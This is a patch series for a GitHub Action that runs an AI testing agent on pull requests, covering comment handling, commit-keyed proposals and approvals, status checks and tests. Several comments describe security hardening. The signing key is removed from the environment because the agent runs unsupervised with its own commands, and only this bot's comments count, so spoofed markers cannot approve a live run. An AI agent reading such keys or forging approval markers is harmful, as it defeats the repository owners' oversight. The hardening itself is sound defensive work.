`${renderJobSummary(args)}\n\n${COMMENT_MARKER}` +} + +/** + * Edit our comment, or write the first one. + * + * Only a comment WE wrote counts. Matching on the marker alone would let a + * person quoting our comment in their reply capture the thread, after which + * every run would overwrite their words. + */ +export function chooseCommentAction(comments) { + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(COMMENT_MARKER)) + if (ours.length === 0) return { action: "create" } + // Oldest, so repeated runs converge on one comment even if a duplicate + // somehow appeared. + const oldest = ours.reduce((a, b) => (a.id <= b.id ? a : b)) + return { action: "update", id: oldest.id } +} + +/** + * Which commit the "Test Companion" check is attached to. + * + * On a pull_request event GITHUB_SHA is the ephemeral MERGE commit, not the + * branch head. A check posted there does not appear on the pull request and + * cannot satisfy branch protection — which is exactly what the first live run + * did. The event's own head sha, which the planner already extracted, is the + * one a reviewer sees. + */ +export function checkSha(planContext = {}, summary = {}, githubSha) { + return planContext.sha || summary.sha || githubSha +} + +/** + * Someone without write access asked for a run — FR-33. + * + * This used to go only to the job summary, which the person who commented never + * opens: from where they sat, Test Companion ignored them. One line, naming who + * can ask, so the answer is where the question was. + * + * No COMMENT_MARKER, here or below. A refusal is not a run report, and + * chooseCommentAction takes the OLDEST marked comment as the one it edits — so + * a marked refusal would become the place every later run wrote its results. + */ +export function renderNotAuthorized(login, askTeam) { + const team = String(askTeam ?? "").trim() + return team + ? `@${login} — this repository has narrowed who can ask Test Companion for a run to the **${team}** team, so write access alone is not enough here.` + : `@${login} — only someone with write access to this repository can ask Test Companion for a run.` +} + +/** We could not place the request — FR-34: reply with what we can do, run nothing. */ +export function renderUnknownRequest() { + const lines = CAPABILITIES.map(({ ask, does }) => `- **${ask}** — ${does}`) + return [`I could not tell which job that was asking for, so nothing ran. Here is what I can do:`, "", ...lines].join("\n") +} + +/** FR-44: a proposal nobody answers is dropped after 24 hours. */ +export const PROPOSAL_WINDOW_MS = 24 * 60 * 60 * 1000 + +/** + * How a waiting proposal is recognised later — STM-5434 FR-43. + * + * Keyed to the COMMIT, which is what makes FR-44's "new commits replace the + * proposal" true without anything having to sweep: once the branch moves, the + * old proposal simply stops being found, so a "go" can never approve work that + * was proposed against different code. + */ +export function proposalMarkerFor(sha, requester, workflow) { + const by = String(requester ?? "").trim() + // The JOB travels with the proposal. Without it, approving a `fix` + // proposal ran whatever binding happened to be first in the pipeline file, + // because the GO path sets no workflow and the CLI then resolves one from + // the event alone. FR-43 is "what you saw is what runs". + const job = String(workflow ?? "").trim() + return `` +} + +/** + * The ONE pattern for a proposal marker, because the two readers have now + * drifted twice. + * + * findProposal learned about `workflow=`; findSupersededProposal, 200 lines + * away, did not — its pattern still required ` -->` right after the optional + * `by=`, so it matched no marker this branch writes and the "your plan is + * stale" reply silently died back to "No @test-companion mention", which is + * the exact failure it was written to fix. + * + * Groups: 1 = requester, 2 = workflow. Both optional, so markers written + * before either field existed stay readable. + * + * ONE LITERAL pattern, with the sha captured rather than interpolated. + * + * It used to be built per-search from the sha, which meant the sha had to be + * regex-escaped or it would quietly match OTHER commits — `a.c*d+` also finds + * `abcccd`, so a plan for one commit could be approved against another. The + * escaping was correct, but it was a rule every caller had to remember. + * + * Comparing captured text with `===` removes the rule instead of restating + * it: there is nothing to escape, nothing to get wrong, and no pattern built + * from input (which is also what Semgrep was pointing at — + * browserstack/github-actions#91, findings 9 and 12). + */ +const MARKER = // + +/** The marker's fields, or undefined when the comment has none. */ +const readMarker = (body) => { + const found = MARKER.exec(String(body ?? "")) + return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined +} + +/** + * The commit a check we already posted belongs to — review of #3101, B1. + * + * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has + * something to cancel, and it is posted on the PULL REQUEST's head. Anything + * that finishes the run afterwards has to complete THAT check, on THAT + * commit. Reaching for the event's own sha instead is wrong on a comment run, + * where GITHUB_SHA is the default branch's commit: the second check lands on + * main and the pull request's one stays pending for ever. + */ +export function checkSubjectFor(made, fallbackSha) { + for (const sha of made?.keys?.() ?? []) return sha + return fallbackSha +} + +/** The proposal comment: what the run would do, and how to let it — FR-43. */ +export function renderProposal(body, sha, requester, workflow) { + return [ + body, + "", + "Reply **go** to run this for real. Nothing is written until you do — you can edit the list first, or say **stop** to drop it.", + "", + proposalMarkerFor(sha, requester, workflow), + ].join("\n") +} + +/** + * The proposal waiting on this commit, if there is one. + * + * Only a comment WE wrote counts, for the same reason chooseCommentAction + * checks: otherwise a person quoting our proposal in their reply could approve + * their own request. + * + * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst + * case is a fresh proposal rather than approving one of unknown age. + */ +export function findProposal(comments, sha, now = Date.now()) { + // `by=` is optional so proposals written before the requester was recorded + // stay approvable rather than becoming stuck. + // `by=` and `workflow=` are both optional, so proposals written before + // either was recorded stay approvable rather than becoming stuck. + const want = String(sha ?? "").trim() + const ours = (comments ?? []).filter((c) => c?.user?.type === "Bot" && readMarker(c.body)?.sha === want) + if (ours.length === 0) return undefined + const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) + const age = now - Date.parse(newest.created_at ?? "") + const mark = readMarker(newest.body) + return { + id: newest.id, + expired: !(age <= PROPOSAL_WINDOW_MS), + requester: mark?.requester, + // The job the person actually read and approved. Undefined on a + // proposal written before the marker carried one. + workflow: mark?.workflow, + // The run has to READ the approved plan to carry it out (FR-43), so the + // body travels with the decision rather than being fetched again. + body: newest.body ?? "", + } +} + +/** + * The plan an approved run must carry out — FR-43. + * + * FR-43 allows a reply of "go" WITH OR WITHOUT edits to the case list, and the + * edits win: someone looked at the proposal and changed it before approving. + * Handing the run only the original proposal would quietly discard that. + * + * The proposal's own marker is stripped. It is bookkeeping, and leaving it in + * invites the run to read it as an instruction. + */ +/** + * Did the approver change anything, or just say go? — FR-43. + * + * Worth knowing separately from the plan itself: edits made at approval time + * were reviewed by nobody but the approver, and on a self-approved run by + * nobody at all. That combination is reported rather than refused — see + * decideGate — but it cannot be reported if it is not detected. + */ +export function hasApproverEdits(replyText) { + const reply = String(replyText ?? "").trim() + if (!reply) return false + // A bare approval is not an edit. Presenting "go" as one would have the run + // looking for an instruction nobody gave. + return !/^(go|approved?)[\s.!]*$/i.test(reply) +} + +export function renderApprovedPlan(proposalBody, replyText) { + const plan = String(proposalBody ?? "") + .replace(//g, "") + .trim() + + const reply = String(replyText ?? "").trim() + const parts = ["# The approved plan", "", plan] + if (hasApproverEdits(reply)) { + parts.push("", "# Changes the approver made", "", reply, "", "Where these differ from the plan above, these win.") + } + return parts.join("\n") +} + +/** + * How a dropped proposal is remembered — FR-44. + * + * The sweep that drops proposals runs nightly. Without a record, it would post + * a fresh "Action required" check and a fresh comment on the same dead proposal + * every night for as long as the pull request stayed open. + */ +export function proposalDroppedMarkerFor(sha) { + return `` +} + +/** + * Is there a proposal on this commit that has run out of time and not yet been + * dropped? — FR-44. + * + * This exists because FR-44's in-progress check is only safe if something is + * guaranteed to end it. A proposal nobody answers would otherwise leave the + * check on "in progress" forever, and anyone who made it a required check is + * then blocked by a check that never resolves — the exact failure Release 2 + * avoided by posting the tick at the end of a run rather than the start. + */ +export function proposalNeedsDropping(comments, sha, now = Date.now()) { + const waiting = findProposal(comments, sha, now) + if (!waiting?.expired) return false + const dropped = proposalDroppedMarkerFor(sha) + return !(comments ?? []).some((c) => c?.user?.type === "Bot" && (c.body ?? "").includes(dropped)) +} + +/** + * The items out of a `gh api --paginate --slurp` response — FR-29. + * + * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps + * even when there is only one page. Verified against gh 2.91.0: twelve pages at + * per_page=2, and still `[[...]]` at per_page=100. + * + * Without this, chooseCommentAction is handed an array of arrays, matches + * nothing, returns "create" every time, and every run posts a NEW comment — + * the single-comment guarantee in FR-29, broken by the fix meant to protect it. + * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it + * does; the shape it produces instead was the part that got missed. + * + * Objects are not arrays, so flat() leaves an already-flat list alone. That + * keeps this correct if gh ever changes its mind. + */ +export function flattenPages(slurped) { + return Array.isArray(slurped) ? slurped.flat() : [] +} + +/** + * The accessibility and visual lines on the check — STM-5434 FR-45. + * + * Both are silent unless the settings asked for them, and both read their + * numbers from the run's summary file. Those keys — accessibility_new, + * accessibility_total, visual_changes, visual_url — are the contract between + * the run and this report. + * + * A check that was asked for and produced no number says so, rather than + * rendering nothing: an absent line reads as "clean", and claiming a pass for + * a check that never ran is the worst of the three outcomes. + */ +export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { + const lines = [] + const level = String(wcag ?? "").trim() + + if (level) { + const introduced = summary.accessibility_new + if (introduced === undefined) { + lines.push(`**Accessibility (WCAG ${level.toUpperCase()}):** no result reported by this run.`) + } else { + const total = summary.accessibility_total + lines.push( + `**Accessibility (WCAG ${level.toUpperCase()}):** ${introduced} introduced by this change` + + (total === undefined ? "." : `, ${total} on the page in all.`), + ) + } + } + + if (visual) { + const changes = summary.visual_changes + if (changes === undefined) { + lines.push("**Visual:** no result reported by this run.") + } else { + const link = summary.visual_url ? ` ${summary.visual_url}` : "" + lines.push(`**Visual:** ${changes} changes awaiting review.${link}`) + } + } + return lines +} + +/** + * May accessibility turn the check red? — FR-45. + * + * Only when the settings say so, and only for violations THIS CHANGE + * introduced. Failing a pull request for the state of a page it never touched + * is how a gate gets switched off for good, and a gate nobody runs protects + * nothing. + * + * A run that reported no number has not failed: absence is not a violation. + */ +export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) { + if (!String(wcag ?? "").trim() || !failOnNew) return false + const introduced = Number(summary.accessibility_new) + return Number.isFinite(introduced) && introduced > 0 +} + +/** + * The body of a proposal — FR-38, FR-43. + * + * The first live run posted a proposal containing only a report header. The + * run had designed nine test cases and verified each one by probing the + * implementation; none of it reached the comment, because the proposal was + * only ever handed the job summary. + * + * A proposal with no plan in it cannot be reviewed, which makes approving it + * meaningless — so an absent plan says so out loud rather than rendering a + * confident-looking empty proposal. + */ +export function renderProposalBody({ summary, plan, sizeNote } = {}) { + const parts = [] + // FR-44's warning goes above the list, where it can still change what the + // reviewer approves. + if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") + if (String(summary ?? "").trim()) parts.push(summary, "") + + const body = String(plan ?? "").trim() + // Only `test-pr` writes a separate plan file. For every other job the + // proposal run is a PREVIEW run — it does the work and writes nothing — + // so its report above IS what is being approved. Saying "there is nothing + // here to approve" told the reader to re-run something that had worked. + const noPlan = String(summary ?? "").trim() + ? "_The report above is what this run would do. Nothing has been written._" + : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" + parts.push(body || noPlan) + return parts.join("\n") +} + +/** + * A proposal on this pull request that a newer commit has left behind — FR-44. + * + * FR-44 keys a proposal to a commit, so a new commit silently replaces it. + * That is the right safety behaviour: a plan written against code that has + * since changed must never be carried out. But silence is the wrong way to + * say it. + * + * Observed live on 2026-10-29: someone replied "go" after the branch moved and + * was told "No @test-companion mention, so nothing was asked of Test + * Companion." They had given a valid approval word, and the actual reason was + * sitting in the comment history. + * + * Only our own comments count, so a person quoting the marker cannot + * manufacture one. + */ +export function findSupersededProposal(comments, sha) { + const current = String(sha ?? "").trim() + // Same reader as findProposal, so the two cannot drift again. + const stale = (comments ?? []).filter((c) => { + if (c?.user?.type !== "Bot") return false + const found = readMarker(c.body) + return Boolean(found) && found.sha !== current + }) + if (stale.length === 0) return undefined + // Newest wins: with several old plans, the one they most plausibly meant is + // the last one we put up. + const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) + const found = readMarker(newest.body) + return { sha: found?.sha, requester: found?.requester, id: newest.id } +} + +/** + * Create the "Test Companion" check, or update the one this run already made — + * FR-48, "one check, never neutral". + * + * Every call used to POST. A single run posts up to three times — in progress + * before the work, the result after it, and the catch-all on a crash — so a + * pull request collected two or three checks of the same name, and a proposal + * left ITS in-progress one pending forever because nothing ever completed it. + * That is the "blocked by a check that never arrives" failure the design is + * meant to avoid. Reported in review of PR #3101. + * + * Keyed by commit: a run can legitimately check two (the head early on, and + * whatever the report names later), and those are different checks, not an + * update of one another. + */ +export function checkRequestFor(sha, made) { + const existing = made?.get?.(sha) + return existing ? { method: "PATCH", path: `check-runs/${existing}` } : { method: "POST", path: "check-runs" } +} + +/** + * The check a PREVIOUS run left in progress on this commit, if there is one. + * + * checkRequestFor only knows what THIS process created. The nightly sweep runs + * in a different process with an empty memo, so it posted a fresh "Action + * required" check and left the proposal run's in-progress one pending for the + * life of the branch — the exact "blocked by a check that never arrives" + * failure the sweep exists to prevent. + * + * Only ours, and only one still running: a completed check is already + * answered, and another tool's check is none of our business. + */ +export function inFlightCheckId(checks, checkName = "Test Companion") { + const ours = (checks ?? []).filter((c) => c?.name === checkName && c?.status !== "completed") + if (ours.length === 0) return undefined + // Newest, so a stale one from an older run cannot win. + return ours.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).id +} diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index d1619a1..2845bbb 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -28,6 +28,7 @@ import { renderComment, chooseCommentAction, checkSha, + checkSubjectFor, renderNotAuthorized, renderUnknownRequest, findProposal, @@ -132,6 +133,15 @@ function gh(args, body) { function appInstallationToken() { const creds = appCredentials(env) if (!creds) return undefined + // B3 (review of #3101). `creds` holds its own copy, so the key can leave + // the environment the moment it has been read. Everything this process + // starts from here on inherits that environment — including the agent, + // which runs with --yolo and chooses its own commands — and a signing key + // is not something to leave lying where they can read it. + // + // childEnvFor strips it for the agent already; this closes the same hole + // for everything else, and does not rely on remembering to list it. + delete env.TC_ACTION_APP_PRIVATE_KEY let jwt try { @@ -366,6 +376,17 @@ function finishSkipped(reason, detail) { }[reason] const msg = human ?? `Nothing to do (${reason}).` notice(`Test Companion: ${msg}`) + // B1 (review of #3101). The "in progress" check goes up before the CLI + // runs so a later `stop` has something to cancel. Skipping out from under + // it left "Test Companion" pending for ever — and `no-binding` is most + // events, so for most repositories that was most runs. + // + // Completing it here rather than posting the check later keeps `stop` + // working. Nothing deliberately leaves a check pending through this + // function: the proposal path posts its own and exits directly. + for (const sha of checksMade.keys()) { + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) + } addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) setOutput("outcome", "Skipped") setOutput("should-fail", "false") @@ -1393,7 +1414,15 @@ try { setOutput("outcome", OUTCOMES.COULD_NOT_RUN) setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, OUTCOMES.COULD_NOT_RUN))) try { - postCheck(OUTCOMES.COULD_NOT_RUN, { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, env.GITHUB_SHA) + // The commit we already posted the in-progress check on, NOT the + // event's sha: on a comment run GITHUB_SHA is the default branch's + // commit, so this used to post a second check on main and leave the + // pull request's one pending (B1). + postCheck( + OUTCOMES.COULD_NOT_RUN, + { outcome: OUTCOMES.COULD_NOT_RUN, summary: {}, runUrl: RUN_URL }, + checkSubjectFor(checksMade, env.GITHUB_SHA), + ) } catch { // Nothing left to try. The job summary above is still written. } diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 01a544e..c2b2a4f 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -290,6 +290,21 @@ const readMarker = (body) => { return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined } +/** + * The commit a check we already posted belongs to — review of #3101, B1. + * + * The "in progress" check goes up BEFORE the CLI runs, so a later `stop` has + * something to cancel, and it is posted on the PULL REQUEST's head. Anything + * that finishes the run afterwards has to complete THAT check, on THAT + * commit. Reaching for the event's own sha instead is wrong on a comment run, + * where GITHUB_SHA is the default branch's commit: the second check lands on + * main and the pull request's one stays pending for ever. + */ +export function checkSubjectFor(made, fallbackSha) { + for (const sha of made?.keys?.() ?? []) return sha + return fallbackSha +} + /** The proposal comment: what the run would do, and how to let it — FR-43. */ export function renderProposal(body, sha, requester, workflow) { return [ diff --git a/test-companion/starter-workflow.yml b/test-companion/starter-workflow.yml index 6ef8079..8b7f10f 100644 --- a/test-companion/starter-workflow.yml +++ b/test-companion/starter-workflow.yml @@ -54,12 +54,21 @@ concurrency: # issue_comment carries the PR number as `issue.number`; everything else # falls back to the run id, which is unique, so those events never share a # group with each other. + # CONTROL EVENTS GET THEIR OWN GROUP. `stop` and a closed pull request + # exist to act on a run that is already going. Sharing the work group with + # it, and queueing rather than cancelling, meant they waited behind the + # very run they were sent to stop and only started once it had finished by + # itself — so `stop` did nothing, slowly. group: >- test-companion-${{ github.event.pull_request.number || github.event.issue.number - || github.run_id }} + || github.run_id }}${{ + (github.event.action == 'closed' + || contains(github.event.comment.body, 'stop')) + && '-control' || '' }} # Queue rather than cancel: a run already in flight has spent credits, and - # the newer one waits its turn instead of superseding it. + # the newer one waits its turn instead of superseding it. Control events + # are in their own group, so this no longer delays them. cancel-in-progress: false jobs: diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs index dd58cc3..f635f1c 100644 --- a/test-companion/test/imports.test.mjs +++ b/test-companion/test/imports.test.mjs @@ -117,3 +117,36 @@ describe("main.mjs — the failing build is resolved after the workflow is final assert.equal(calls, 1, `found ${calls} build lookups; two copies will diverge`) }) }) + +/** + * Review of PR #3101, blocker B3. + * + * The App's private key arrives in the environment and stays there. Anything + * spawned afterwards inherits it — and the agent runs with --yolo, so "what + * gets spawned afterwards" includes programs it chose. + * + * The git half of B3 is closed in push-work.mjs (minimal env, hooks and + * fsmonitor off, config allow-listed, binary pinned). This is the other half: + * once the key has been used, it should not still be readable. + */ +describe("main.mjs — the App private key does not outlive its use", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("it is deleted from the environment", () => { + assert.match( + main, + /delete env\.TC_ACTION_APP_PRIVATE_KEY/, + "the key stays readable by every process this one starts", + ) + }) + + test("deleted while minting the token, before anything else is spawned", () => { + // The agent is the process that matters: it runs with --yolo and picks + // its own commands. + assert.ok(at("delete env.TC_ACTION_APP_PRIVATE_KEY") < at('spawnSync("tc"'), "the agent could still read it") + }) +}) diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index 95d9889..402276b 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -6,6 +6,7 @@ import { renderComment, chooseCommentAction, checkSha, + checkSubjectFor, COMMENT_MARKER, renderNotAuthorized, renderUnknownRequest, @@ -921,3 +922,38 @@ describe("a proposal marker search is built from literals, never from raw input" assert.ok(Date.now() - started < 1000, "the marker search must not backtrack") }) }) + +/** + * Review of PR #3101, blocker B1. + * + * The "in progress" check is posted BEFORE the CLI runs, so a later `stop` + * has something to cancel. Two paths then left it pending forever: + * + * - a skip after the check was posted (no binding, which is most events) + * exited without completing it; + * - a crash posted its check against GITHUB_SHA, which on a comment run is + * the DEFAULT BRANCH's commit — so the crash check landed on main and the + * pull request's check stayed stuck. + * + * Both need the same thing: the commit we already posted on. + */ +describe("the commit a pending check belongs to", () => { + test("is the one we already posted on, not the event's sha", () => { + const made = new Map([["prhead111", 42]]) + assert.equal(checkSubjectFor(made, "defaultbranch999"), "prhead111") + }) + + test("falls back to the event's sha when we posted nothing", () => { + assert.equal(checkSubjectFor(new Map(), "defaultbranch999"), "defaultbranch999") + }) + + test("with several, the first is used — one run posts one check", () => { + const made = new Map([["first", 1], ["second", 2]]) + assert.equal(checkSubjectFor(made, "fallback"), "first") + }) + + test("no check and no sha is nothing, not a crash", () => { + assert.equal(checkSubjectFor(new Map(), undefined), undefined) + assert.equal(checkSubjectFor(undefined, undefined), undefined) + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index b020b6e..a40dc0f 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -223,3 +223,32 @@ describe("the starter workflow points somewhere that exists", () => { assert.match(starter, /cli-sha256/) }) }) + +/** + * Review of PR #3101, blocker B2. + * + * `stop` and a closed pull request are CONTROL events: they exist to act on a + * run that is already going. Sharing a concurrency group with that run, with + * `cancel-in-progress: false`, meant they queued behind the very thing they + * were sent to stop and only ran once it had finished on its own. + */ +describe("control events do not queue behind the run they act on", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + const group = starter.slice(starter.indexOf("concurrency:"), starter.indexOf("\njobs:")) + + test("a stop comment and a closed pull request land in a separate group", () => { + assert.match(group, /contains\(github\.event\.comment\.body, 'stop'\)/) + assert.match(group, /github\.event\.action == 'closed'/) + assert.match(group, /-control/) + }) + + test("work runs still queue rather than cancel each other", () => { + // A run in flight has already spent credits; the next one waits. + assert.match(group, /cancel-in-progress:\s*false/) + }) + + test("the group is still per pull request, so two PRs never share one", () => { + assert.match(group, /github\.event\.pull_request\.number/) + assert.match(group, /github\.event\.issue\.number/) + }) +}) From 4e6df1028637ba0451d2356a0731d39c614ce953 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 19:09:45 +0530 Subject: [PATCH 17/18] fix: the review findings from browserstack/vscode-ai-testing#3101 Identity on comments (another bot could get a proposal approved into a live run), the push no longer carries agent commits or whole untracked directories, persist-credentials off, one checkout path without --depth, approvals leave a trace, stop drops what it says it drops, and comments that are not for us no longer boot a runner. Co-Authored-By: Claude Opus 5 --- test-companion/action.yml | 19 ++- test-companion/src/intent.mjs | 10 +- test-companion/src/main.mjs | 158 ++++++++++++++---- test-companion/src/plan-run.mjs | 16 +- test-companion/src/push-work.mjs | 18 +++ test-companion/src/report.mjs | 56 +++++-- test-companion/starter-workflow.yml | 20 +++ test-companion/test/intent.test.mjs | 37 +++++ test-companion/test/plan-run.test.mjs | 62 ++++++- test-companion/test/push-work.test.mjs | 36 +++++ test-companion/test/report.test.mjs | 214 ++++++++++++++++++------- test-companion/test/starter.test.mjs | 28 ++++ 12 files changed, 564 insertions(+), 110 deletions(-) diff --git a/test-companion/action.yml b/test-companion/action.yml index 395e391..a33075d 100644 --- a/test-companion/action.yml +++ b/test-companion/action.yml @@ -112,8 +112,13 @@ runs: TC_SHA256: ${{ inputs.cli-sha256 }} run: | set -euo pipefail - curl -fsSL -o /tmp/tc-install.sh https://test-companion.browserstack.com/cli/install.sh - sh /tmp/tc-install.sh + # $RUNNER_TEMP, not /tmp: it is per-job and cleaned up, where a + # fixed /tmp path is shared with everything else on the runner + # and can be written before this step runs. The Action's own + # report files already take this care; this step did not. + installer="${RUNNER_TEMP:-/tmp}/tc-install.sh" + curl -fsSL -o "$installer" https://test-companion.browserstack.com/cli/install.sh + sh "$installer" echo "$HOME/.local/bin" >> "$GITHUB_PATH" version="$("$HOME/.local/bin/tc" --version 2>/dev/null | head -1 || echo unknown)" # FR-2: pinning only means something if the pin actually took. The @@ -121,7 +126,15 @@ runs: # silent fallback to latest would leave the run reporting a version # nobody asked for — and "the same pipeline behaves the same next # month" is the entire point of the input. - if [ -n "${TC_VERSION:-}" ] && [ "${version#*"$TC_VERSION"}" = "$version" ]; then + # EXACT, not a substring. `${version#*$TC_VERSION}` accepted a pin + # of 1.2.0 when 11.2.0 was installed, and a pin of 1.1 when 1.1.9 + # was — so the check passed for a version nobody asked for, which + # is the one thing it exists to catch. + # The first version-shaped token. Stripping non-digits instead + # would fold the architecture into the number, turning a version + # line ending "linux/amd64" into 1.1.964. + installed="$(printf '%s' "$version" | grep -oE '[0-9]+(\.[0-9]+)+' | head -1 || true)" + if [ -n "${TC_VERSION:-}" ] && [ "$installed" != "$TC_VERSION" ]; then echo "::error::Asked for Test Companion CLI $TC_VERSION but got '$version'." >&2 exit 1 fi diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index 4baa327..966475c 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -165,7 +165,7 @@ const saysAll = (said, name) => name.length > 0 && said.some((_, i) => name.ever * `workflows` is what the repository has bound, so a job can be asked for by * name. Without it, only the written-out phrases are understood. */ -export function readIntent(instructions, { workflows = [] } = {}) { +export function readIntent(instructions, { workflows = [], proposalWaiting = false } = {}) { const text = withoutQuotes(String(instructions ?? "")).trim() if (!text) return { kind: INTENT.UNKNOWN } @@ -177,6 +177,14 @@ export function readIntent(instructions, { workflows = [] } = {}) { const preview = PREVIEW.test(text) + // With a plan waiting, an approval is what a reply most likely IS — and + // FR-43 invites edits alongside it ("you can edit the list first"). Job + // words match anywhere, so testing them first read "go, and fix case 3's + // title" as a fresh request for `fix` and quietly dropped the approval + // (M4, review of #3101). Still after STOP: approving and cancelling in one + // breath has to cancel. + if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO } + for (const [pattern, candidates] of PHRASES) { if (pattern.test(text)) { return { kind: INTENT.WORKFLOW, workflow: pickBound(candidates, workflows), preview } diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 2845bbb..ab6999f 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -37,6 +37,7 @@ import { accessibilityFailsCheck, renderApprovedPlan, proposalDroppedMarkerFor, + proposalConsumedMarkerFor, proposalNeedsDropping, flattenPages, hasApproverEdits, @@ -58,6 +59,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + agentCommitted, CONFIG_READ_ARGS, trustedGitPath, gitEnvFrom, @@ -130,6 +132,43 @@ function gh(args, body) { * repository without the App installed is the normal case, not an error, and * FR-4 says the run finishes either way. */ +/** + * The login this Action's comments appear under — review of #3101, M2. + * + * `github-actions[bot]` with the workflow token; `[bot]` when the + * App is installed, discovered from the installation lookup below. Used to + * tell OUR comments from any other bot's, because "any bot" let another App + * post a proposal marker that a maintainer's `go` would then run live. + */ +let botLogin = "github-actions[bot]" + +/** HEAD before the agent ran, so a commit it made can be told from ours (M7). */ +let headBeforeRun = "" + +/** Set when this run is carrying out an approved proposal, so the plan is marked spent (M5). */ +let consumedMarker = "" + +/** + * Put the working tree on one commit — review of #3101, M8. + * + * Was two blocks doing the same job with different flags. One used + * `--depth 1`, which SHALLOWS a clone the starter deliberately made with + * `fetch-depth: 0`, so anything that looks at history afterwards sees one + * commit. The other checked its fetch but ignored whether the checkout + * worked, and carried on as if it had. + * + * The URL is explicit and carries its own credential, because the starter now + * sets `persist-credentials: false` (M1) — the workflow token must not sit in + * `.git/config` where a shell command the agent chose can read it. + */ +function fetchAndCheckout(sha, branch) { + const url = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!url || !sha) return false + const cred = pushCredentialEnv(env.GH_TOKEN, url) + if (!git(["fetch", url, sha], cred).ok) return false + return branch ? git(["checkout", "-B", branch, sha]).ok : git(["checkout", "--detach", sha]).ok +} + function appInstallationToken() { const creds = appCredentials(env) if (!creds) return undefined @@ -165,7 +204,12 @@ function appInstallationToken() { } let installationId try { - installationId = JSON.parse(found.stdout)?.id + const installation = JSON.parse(found.stdout) + installationId = installation?.id + // M2 (review of #3101): what WE post as. An App comments as + // `[bot]`, and knowing that is what lets us tell our own + // proposal from another App's. + if (installation?.app_slug) botLogin = `${installation.app_slug}[bot]` } catch { return undefined } @@ -479,11 +523,8 @@ function main() { if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) // Work on the commit that was asked about. The starter checks out the // default branch for a comment event, since the payload names no ref. - const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) - if (co.status === 0) { - spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) - } else { - warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) + if (!fetchAndCheckout(plan.context.sha)) { + warn(`Could not check out ${plan.context.sha}; running against the tree this job checked out.`) } } @@ -526,7 +567,12 @@ function main() { if (!allowed) { // FR-33 wants a one-line reply, not a line in a log the person who // asked will never open. - replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + // + // Unless they never addressed us. An unaddressed comment reaches + // here only because it was a bare "go", and answering a bystander's + // one-word comment with a public refusal is noise in someone else's + // conversation (M3, review of #3101). + if (!plan.approvalOnly) replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) finishSkipped("not-authorized", who) } } @@ -538,8 +584,16 @@ function main() { if (plan.event === TC_EVENTS.PR_COMMENT) { // FR-34: pass what this repository has actually bound, so a job can be // asked for by name and not only by the phrases written into PHRASES. + // Fetched BEFORE the intent is read, because what a reply means depends + // on whether we asked a question: with a plan waiting, "go, and fix + // case 3's title" is an approval with an edit, not a request to run + // `fix` (M4, review of #3101). + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + const waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) + const intent = readIntent(plan.context.instructions, { workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), + proposalWaiting: Boolean(waiting), }) if (intent.kind === INTENT.UNKNOWN) { @@ -576,9 +630,6 @@ function main() { finishSkipped("not-bound", intent.workflow) } - const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) - const waiting = findProposal(comments, plan.context.sha) - // An unaddressed comment only ever reaches us as a possible approval. // With nothing waiting, it is what it looked like: a person talking to // each other, not to us. @@ -588,7 +639,7 @@ function main() { // "no @test-companion mention" is both wrong and unhelpful — the reason // is sitting in the comment history (FR-44). if (plan.approvalOnly && !waiting) { - const stale = findSupersededProposal(comments, 